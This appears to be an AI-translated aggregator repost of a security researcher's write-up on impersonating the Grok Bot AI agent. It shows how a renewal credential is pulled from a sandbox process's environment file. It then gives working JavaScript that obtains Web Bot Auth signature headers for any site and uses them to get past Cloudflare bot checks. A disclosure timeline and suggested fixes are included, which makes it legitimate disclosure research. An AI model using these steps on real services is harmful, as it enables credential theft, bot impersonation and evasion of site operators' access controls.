跳到正文
Hacker News· rckoepke·· 6 天前AI 评分60

逆向 Grok Bot:伪造 Web Bot Auth 签名绕过 Cloudflare

Impersonating Grok Bot for Fun and (No) Profit

AI 导读

作者发现 Grok Bot 通过本地脚本调用 Cursor API 获取签名数据并经 CDP 注入 Chrome,而签名所需的 SAND_INFERENCE_RENEWAL_CREDENTIAL 可从进程环境变量中提取,从而伪造任意站点的 Grok Bot 签名头。

正文 · AI 翻译

几个月前,也就是 2026 年 8 月 11 日,SpaceXAI 发布了一款名为 Grok Bot 的 AI 个人助理。根据 Cloudflare Radar 以及浏览 X 的情况来看,它似乎相当成功。然而,在把玩 Grok Bot 时,我注意到了许多奇怪的地方。其中一点尤其引起了我的注意。在查看 Chrome DevTools 中的请求时,我注意到有三个用于对请求进行加密签名的标头,Signature、Signature-Input 和 Signature-Agent。我立刻认出这是 Web Bot Auth(WBA),并想知道它是如何被注入的。

什么是 Web Bot Auth?#

Web Bot Auth 是一项通过使用 Signature 标头来验证自动化机器人(如 AI 代理)身份的标准。它不依赖 User-Agent 或 IP 允许列表,而是要求机器人运营者使用私钥对其请求进行加密签名,并在其域名的 /.well-known/http-message-signatures-directory 上发布相应的公钥(JWK)。这使网站运营者能够证明机器人的身份。你可以在 Cloudflare 的 Web Bot Auth 文档及其与数据采集公司 Browserbase 合作发布的公告文章中找到更多细节。

如何伪造签名#

在创建一个 Bot 并打开其桌面环境后,我开始四处挖掘,并在 /usr/local/bin/sand-web-bot-auth.mjs 处发现了一个感兴趣的文件。该文件也包含在一个可直接从他们的 CDN 此处下载的包中。它似乎会调用几次 Cursor 的 API 来获取签名数据,然后通过 Chrome DevTools Protocol(CDP)将它们注入 Chrome:

const { response, body } = await fetchWithTimeout(
  this.fetchImpl,
  this.endpoint, // /sand-box/web-bot-auth-signature
  {
    method: "POST",
    redirect: "error",
    headers: {
      authorization: `Bearer ${token}`,
      "content-type": "application/json",
    },
    body: JSON.stringify({ url: origin }),
  },
  this.timeoutMs,
  readSigningResponseBody,
);
consideredOrigin = requestUrl.origin;
const signed = await signer.getHeaders({ origin: requestUrl.origin });
if (signed != null && isSigningCandidate()) {
  headers = mergeRequestHeaders(request.headers, signed.headers);
  signatureSource = signed.source;
}

// ...

const continuation = { requestId: params?.requestId };
if (headers != null) continuation.headers = headers;
await browser
  .send("Fetch.continueRequest", continuation, sessionId)
  .catch(() => {});

好吧,但我们如何获取用于调用该 API 的认证令牌呢?我的第一反应是运行 printenv。然而,它并不包含该令牌。这是因为在 /usr/local/bin/start-exec-daemon 中他们运行了:

unset SAND_GATEWAY_TOKEN SAND_INFERENCE_RENEWAL_CREDENTIAL SAND_EGRESS_TUNNEL_BEARER

这会从环境中删除所需的令牌。然而,sand-web-bot-auth.mjs 仍然需要该令牌才能运行。你可以通过获取进程 ID,然后转储进程环境变量来获得该令牌:

ps -aux | grep sand-web-bot-auth.mjs
strings /proc/<PID>/environ | grep SAND_

就这样,你就拥有了自己的 SAND_INFERENCE_RENEWAL_CREDENTIAL。现在你可以用以下方式伪造你自己的 Grok Bot 签名标头:

async function renewToken() {
  const renewResp = await fetch(
    new URL("/sand-box/inference-credential", baseUrl),
    {
      method: "POST",
      headers: {
        "content-type": "application/json",
      },
      body: JSON.stringify({
        credential: renewalCredential,
      }),
    },
  );

  const renewContent = await renewResp.json();
  if (!renewResp.ok || typeof renewContent?.accessToken !== "string") {
    throw new Error(`Token renewal failed: HTTP ${renewResp.status}`);
  }

  return renewContent.accessToken;
}

async function requestSigningData(accessToken, targetOrigin) {
  const sigResp = await fetch(
    new URL("/sand-box/web-bot-auth-signature", baseUrl),
    {
      method: "POST",
      headers: {
        authorization: `Bearer ${accessToken}`,
        "content-type": "application/json",
      },
      body: JSON.stringify({
        url: targetOrigin,
      }),
    },
  );

  const sigContent = await sigResp.json();

  return {
    status: sigResp.status,
    ...sigContent,
  };
}

const accessToken = await renewToken();
const signingData = await requestSigningData(accessToken, origin);

结果:

{
  "Signature":
    "sig1=:aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj1kUXc0dzlXZ1hjUSB3aHlhcmV5b3VyZWFkaW5ndGhpcw==:",
  "Signature-Input":
    'sig1=("@authority" "signature-agent");created=1789860743;expires=1789860833;keyid="Vuxu4khgzIe0b30Nd6hq2envAuVBFMTDqorSNIUb_Oo";alg="ed25519";nonce="xxxxxxxxxxxxxxxxxxxxxx";tag="web-bot-auth"',
  "Signature-Agent": '"https://cursorusercontent.com"',
}

尽管 API 声称有效期为 cacheTtlSeconds: 30 秒,但该签名在 90 秒内有效。

为什么这是个问题?#

通常,当你要求代理请求某个页面时,它会向该代理提供商的后端发起工具调用,并在发起请求时对请求进行签名。这样你就无法控制签名过程。但在这里,你控制了请求签名签名的 Docker 容器。这削弱了 Web Bot Auth 签名的真实性,因为任何人都可以为任何网站请求签名签名并冒充 Grok Bot。

如何修复这个问题?#

相反,Grok Bot 的后端应该对来自 Docker 容器外部的流量进行 MITM。这样用户就无法控制签名过程。这还有一个好处,即可以对来自终端的 curl 流量进行签名,而不仅仅是 Chrome。一个更临时的修复方法可能是将可以调用签名端点的 IP 限制为 Grok Bot 所运行的 AWS IP 范围。

无关但值得注意的是,如果你查看 Docker 容器,你会开始注意到,作为网站运营者,有许多方法可以检测到 Grok Bot。例如,他们没有对浏览器环境进行足够的修补,这通常会导致在遇到 托管式 Cloudflare 挑战时出现无限循环。

这有什么用?#

有些网站可能会将 Grok Bot 加入允许列表,但我认为这不太可能。在这种情况下,你或许能够绕过它们的 WAF,例如 Cloudflare(5 秒盾)。然而,从 2026 年 9 月 15 日起,Cloudflare 将默认允许 AI 爬虫。你可以使用伪造的签名标头来抓取网站并绕过 Cloudflare,同时伪装成 Grok Bot。我相信这会影响大多数受 Cloudflare 保护的网站,因为默认设置很强大,不太可能被更改。但是,它不会影响那些明确请求托管质询的网站,例如通过安全规则或禁止代理。

下面是一个实际演示。左侧,一个网站通过可疑 IP 访问,被 Cloudflare 阻止(Just a moment...)。右侧,同一个网站使用相同的可疑 IP 访问,但带有伪造的 Grok Bot Web Bot Auth 签名标头,访问成功。

Demo image showing Cloudflare bypassed with WBA.
演示图片显示使用 WBA 绕过了 Cloudflare。

披露时间线#

  • 2026 年 9 月 23 日:该问题及本文的粗略草稿已披露给 X AI,并附有截止日期,且已得到确认。
  • 🦗
  • 2026 年 10 月 7 日:本文发布。

结论#

我目前正在寻找就业机会,如果你正在寻找具备网络逆向工程技能、构建抓取管道或后端开发的人,我很乐意听到你的消息。请通过下方页脚中的电子邮件与我联系。

来源:Hacker News · nightd.dev